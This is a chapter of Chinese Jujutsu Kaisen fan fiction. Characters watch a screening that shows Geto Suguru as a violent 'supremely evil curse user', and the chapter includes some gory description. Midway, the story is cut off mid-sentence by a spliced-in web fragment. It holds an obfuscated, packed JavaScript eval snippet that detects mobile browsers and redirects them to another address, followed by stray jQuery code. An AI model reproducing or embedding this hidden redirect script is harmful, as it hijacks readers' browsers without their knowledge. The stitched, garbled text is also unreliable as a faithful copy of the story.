2. 极恶诅咒师
作品:《[五夏]命中劫》 【极恶诅咒师】
一个名头,那属于一个早已死去的人。
“够了。”
从虎杖悠仁的角度来看,只能看见白发咒术师的侧脸沾着不知道谁的血,看上去近乎冷硬到沉默。而他突然开口,沙哑的声音却像是有骚动的骨刺扼住了他的喉咙。【五条悟】抬起眼来,血色溅染着他原本雪白的眼睫,克制不住的杀意再次如凛冬刺骨的寒风般袭来,将人的大脑感官全部扭曲地吞噬。
他们这才意识到,在这之前最强咒术师的一言不发是在压抑着自己的暴虐。而银幕上的那几个大字沾着的血色愈演愈烈,尖锐到毫不留情地扎破人的血肉,搅得嘴里都似乎泛着血腥气。
刺眼至极。
【观影一旦开始,不可中途结束。】
女医师无言地沉默着,随手翻了下白大褂的兜里,里面除了零碎的医疗用品,还有几根被她随手塞的烟。只不过,又忘记带打火机了。她的指尖按捺不住地摩挲着卷烟纸,只能聊以慰藉地抚平心里的烦躁感。他们两个都再清楚不过这几个字指的是谁了。
而如今这个放映室的局面不明,他们姑且先留在这,更何况还要比那外头清净得多。
倒是虎杖悠仁那边的一众摸不着头脑,少年疑惑地挠了挠头,“极恶诅咒师是谁啊?”夜蛾正道皱起眉摇了摇头,“咒术界没有这号人。”
光是听着,这个【极恶诅咒师】也不是什么好名号,倒配那些十恶不赦罪孽深重的人。
“诅咒师吗?倒是有趣。”反观他们这边的五条悟,嘴角的笑容透着与一般无二的随意,姿态轻佻地托着腮,像是看到一个从未见过的玩具,颇有几分兴致。
简直是与那个【五条悟】大相径庭。
而更让人摸不着头脑的是那个最强咒术师的态度,像是被外人侵占了圈属自己领地的野兽般展露出危险的气息。“所以观影还不开始吗?”五条悟倒是不在意,毕竟平行世界的不同多的是。
他们又不是同一个人。
【东京的雪下得太大了,飘飘扬扬地落在覆盖着薄冰的人行道上,夜晚的霓虹灯闪烁下,光线变得耀眼炫目,反射出晶莹剔透的亮光,似乎一切都安静极了。
十字路口边是未消融的积雪,踩上去只有沉闷的下陷声,而刺骨的寒风猛烈地刮过,带来阵阵雪花夹杂着寒意迎面而来,顺着咽喉至气管无一不是冰冷的。
雪花落在黑发青年披散至肩头的发丝,只是停留了几秒,便融化成水渍消逝了,而呼吸出来的白气像雾一般模糊了他的面容,只有深紫色的眼眸映入视野。】
最强咒术师向来不会认错自己的挚友,仅仅只是一个模糊不清的轮廓,就像是一把打开潘多拉魔盒的钥匙。那些被他埋葬在坟墓深处、那些被他刻意不愿去回想的记忆,统统像烧不尽的野草般突然肆意狂长,像是要在【五条悟】的脑海里与他纠缠不休,直至死亡才会停止。
“这就是极恶诅咒师吗?”年轻的学生还没有完全学会不要以貌取人,只是单纯地没有从那人身上感受到恶意,这与他们心里妖魔化的大坏人形象大相径庭。
而五条悟则是看出了点端倪,看似温和的皮囊下并不尽然,他坐直了身子,微微眯了下眼,不由轻笑出声,“有点意思。”
家入硝子瞥了眼五条悟,没有说话,能被最强咒术师觉得有意思可不是一件好事。
【下一刻,信号灯变换成象征禁止的红灯,在视网膜上红得刺眼,人流逐渐变得密集起来,路人擦过他黑色常服的衣角,他微不可察地轻皱眉头,很细微的动作,却被影像捕捉得清清楚楚。】
看起来这位被观影者不太喜欢他人的触碰,这个时候家入硝子和其他人的普遍思路差不多,是有点洁癖吗。放映仍在缓慢地进行,随着镜头的拉近,他们看着这人不紧不慢地穿过人流,停在了老旧的巷子深处。
【那人鸦黑的长睫打下一片阴影,拐角的黑暗笼罩了他整个人,几乎与夜晚融为一体,有什么更黑、更暗的东西在地下蠢蠢欲动。皎洁的月光洒下余晖,角落的蜘蛛在慢慢地攀爬吐丝,为它的猎物编织一张庞大而扭曲的陷阱。
透过天光的边界,可以窥见黑发青年深紫色的瞳孔,幽暗而沉寂。】
他们明显地感知到有什么在突然地发生变化,准确来说,应该是不再压抑的浓重黑暗席卷了开来。
【“还不出来吗?”暗哑的声线下是掩盖不住的冷戾和危险,在这看似空荡荡的巷子里突兀得令人头皮发麻。在天光落不尽的地方,在纸醉金迷灯红酒绿看不见的地方,血腥与暴力在这里展现得淋漓尽致。
他只是站在这里,便代表着绝对实力的权威。
恐怖的怪物在阴影里悄无声息地张开獠牙,咒灵庞大的身躯紧紧抓住着弱小的人类,痛苦的哀嚎还未来得及发出便被堵死在喉咙里,破碎的残肢狠狠地摔落在地,狰狞的獠牙下缓缓滴落着血液。
主宰这一切的人比了个停下的手势,危险的特级咒灵瞬间收敛了满身戾气,将獠牙收敛回去,如同宠物一般温顺地盘旋在黑发青年的身侧,而他的脚下也是唯一的干净之地。
凛冽的寒风吹散他黑色的发梢,掠过这人不染一丝灰尘的衣领,他的嘴角含着恰到好处的笑意,对眼前此景毫无动容。
而他也正是造就这一切的行暴者。】
残忍、暴戾这两个词推翻了学生们之前的种种可笑看法,饶是家入硝子这种见惯了血腥场面的人也不禁皱紧了眉头。他们想起了那个名头,这样的人从里到外无不符合极恶诅咒师这个称号。
“他为什么要这样做?如此轻易地践踏他人的生命,这算得了什么。”虎杖悠仁如今已经完全对这人改观了,他质问出声。在场的人显然给不出答案。其他同样正义感强的学生也一个个都脸色不好,直接目睹行暴过程无疑是在放大他们的愤怒。
“这个术式……”夜蛾正道在脑海里翻了下自己的记忆,这个可以操控咒灵的术式他好像在某个古籍上见过。而还没等他想出来,旁边的五条悟就给出了答案,“是咒灵操术,上次出现还是在千年以前。”
这足够让他们确认了一点,眼前这个极恶诅咒师,便是千年一遇的咒灵操使,但很显然,他们的世界中并没有他的存在。
无论他人反应如何,影片依旧在有条不紊地前进着。
【喘气声在格外安静的巷子里回荡着,唯一的幸存者捂住了自己被血液浸透的伤口,咒术师艰难地挤出声音,“咒术界是不会放过你的!夏油杰你等着!!”
极恶诅咒师轻笑了出声,眼里是明晃晃的恶意和轻蔑,“就凭你们这种垃圾吗?”
“虽然我一向对同胞格外留情,但是烂橘子养的走狗我可不会放过。”】
“烂橘子是?”
“高层哦。”白发咒术师好心开口回答了学生的疑惑,同时他也轻笑出声,莫名地给人一种错觉,在这一刻这位最强咒术师和那位极恶诅咒师在某一方面上确有几分相似。
“这个说法,让我开始喜欢他了。”和自己一样对咒术界高层的称呼,五条悟对这人的兴致越来越浓厚了,就像是两个同样极度傲慢的家伙相逢,不算太碍眼却也很少见的存在。
夏油杰。
他不由地在心里默念了一遍这个名字。
【“回去告诉你的主子,我的人头可远远不值这点命。”他漫不经心的话语之下透出的几分杀意不是假的,像是在说再有下次,就把你连同你的主子全杀了,一个不留的那种,眼不见心不烦。
伴随着危险恐怖的咒灵低吼了一声,狰狞暴起的眼珠里是明明白白的威胁,不知道是哪个倒霉人的血沫还残留在它的獠牙上,咒术师不由地打了个寒颤,说不出一句反驳的话来。
站在丑陋的怪物身侧的黑发青年微微侧过脸,在皎洁的月光照耀下弯起了眉眼。
“那么,今日份的噩梦结束了。”】
这个影片已经到了结束的尾端,最后一幕停在了极恶诅咒师露出的侧脸上,然后黑暗缓缓地重新覆盖在银幕上。
在这个覆盖的过程中,家入硝子忍不住向另一边投去视线,她心里第一时间就升起了一个疑惑。为什么隔壁的最强咒术师没有对这位极恶诅咒师动手?按理来说,无论是御三家还是高层都不会容纳他的存在,这种情况下,最好的选择便是让【五条悟】杀死他。但是,至少在这个影片里极恶诅咒师还能活蹦乱跳,还在随心所欲地夺取他人的性命。
只是家入硝子这有意投去的视线,便让她看见了一幕不太敢置信的场景。
从她这个角度看,白发咒术师的视线停在了银幕上还未完全消失的黑发青年的侧脸上,苍天之瞳里倒映的只有眼前这个人的模样,好似是要把这个人的模样刻进心底。
看错了吧,她的话语卡在喉咙里不上不下。
但另一个她自己就不一样了。
【家入硝子】低垂下眼来,扯了扯嘴角,“真是做足了反派的风范。”
可无论怎样,我们都无法发自内心地谴责他。
不知道为什么隔壁放映室的气氛一下子又沉了起来,但这并不关五条悟什么事情,他撑着下巴看了看身为同位体的那两位,把他们的反应清清楚楚地收至眼底。
“我们就待在这什么都不做吗?”七海建人皱紧了眉头,他并不喜欢这个古怪的地方,直觉告诉他这只是暴风雨来临前的平静,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299965|167130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
特别是那个银幕,就像是一个充满恶意的巨洞在盘旋着。更何况,揭示血腥暴力的影片明显不适合身心还在发育的青少年。
“别这么认真嘛,就当是来一场电影放松下。”五条悟轻佻地隔着中间一个人拍了拍七海建人的肩膀,完全没有成年人该有的样子。果然,咒术师都是狗屎,五条悟更加。七海建人面无表情地想到。
但很显然,最强咒术师经过这一轮下来,也没观察出什么能让他们离开这里的办法。
咒术界迟早要完。
坐在七海建人和五条悟中间的家入硝子嫌弃地避让了一下,没打扰这两人哥们好的愉快交流,只是视线却又不可遏制地落在了隔壁。
这两个人迄今为止的交流一个巴掌都数得过来,像是有什么烂在心里的秘密沉重地压在他们身上,谁先开口谈及这个秘密谁就是输掉的那个人。
说实在的,家入硝子认为自己是足够了解自己的,她是个没有那么多胜负欲的人,但偏偏另一个自己却又把很多不愿意触碰的东西缄默于口,也包括五条悟的那个同位体。
或许他在做梦,或许他仍然还在狱门疆。这种想法避无可避地出现在【五条悟】的脑海中,不能使用六眼的世界糟糕透了。他觉得自己不至于分辨不出真假,这个活着的、笑着的夏油杰,即便那是不达眼底的笑意。他就像是无数次午夜梦回中虚影一般的存在,但对于五条悟来说很难不怀疑起眼前的一切,毕竟他总能让自己在他身上摔个大跟头,即便是最强的自己。“我说,通过它。”难以置信的是,【五条悟】会主动开口询问一个问题,其实连他自己都不知道是疯了还是怎样,有一股躁动放肆地燃烧在他的心底,就像是一个久远的诅咒扑上来般纠缠不清。
白发咒术师指了指银幕,抬眼间隐约窥见几分压抑不住的疯狂,“能让我知道一个答案吗?”
答案。在座的无论是年轻的学生,还是年长的前辈都不知道【五条悟】在问什么,包括五条悟自己。
有什么是最强咒术师不知道的呢,有什么是最强咒术师看不清的呢。这个问题就像是一堵坚硬的、沉默的、不可摧毁的高墙,在这一刻把这两个世界毫不讲理地隔开。
【过往的一切都会被揭开。】
这行字眼跳动了下便隐没在了黑暗之中,但每个人用眼睛都看得清清楚楚。
女医师克制不住地颤了颤手指,指间夹着的烟如断弦般掉落在地,但她显然没有再多的心思去捡起这根烟,她用自己的手掩盖起失态的模样。在这一刻,【家入硝子】掉落的好像不是烟,而是在很久以前的一个夏日便丢掉的勇气。
一个探寻答案的勇气。
所有知情者都应该知道,很多事情在发生后就已经没有了意义,而去翻那些陈芝麻烂谷子的背后只会让人痛苦,叠加的两倍痛苦。
“不——”【家入硝子】想说些无意义的发言,但是在出声的那一刻,坐在旁边的白发咒术师便转过来看向她。
用一种近乎沉默的眼神。
这对于【家入硝子】来说何等的眼熟,因为十年前的一个夏日,那时还是咒术师的友人也曾用这个眼神投向过她。
对此,女医师只能妥协地说道,“那就这样吧。”
看到这里的虎杖悠仁不得不凑到钉崎野蔷薇的旁边,秉持同性更了解同性的想法,他小声地问道:“钉崎,你知道他们在打什么哑谜吗?”
钉崎野蔷薇犹豫了几秒,也还是壮着胆子悄咪咪地说,“我看像是只有他们三个人知道的爱恨情仇。”
虽然声音足够小,但是在场的都并非常人,听得一清二楚,学生们像是打开了新思路,诡异地一同沉默了下来。
但他们好奇的目光在家入硝子和五条悟之间徘徊来徘徊去,而前者没有最强咒术师那么厚的脸皮,说真的,家入硝子在他们这个年纪也喜欢看些俗套的三流故事。
她能从这些单纯的学生眼里看出他们脑补了些什么为情所伤、为情所困的戏码,前提是其中有一个主角是叫五条悟的名字,家入硝子不由地感受到一阵恶寒。
就连曾经教导她的老师,看过来的目光都夹杂着几分痛惜之情,家入硝子先不提那些明显不知情的学生,夜蛾正道应该是极为知晓五条悟那个烂脾气的,搁这摆什么师生情深呢。
家入硝子反问了句,“哈你们觉得这可能吗?”然而面对那些学生一脸装作不相信的笑意,明显他们更多的只是想开玩笑的意味。她感觉到有点憋屈。五条悟故意评价道,“那人长得还不错,但还是比我差了点。”对这位看热闹不嫌事大的同期,她回了个恶狠狠的白眼。
不等他们再多说些什么,观影就开始了下一轮。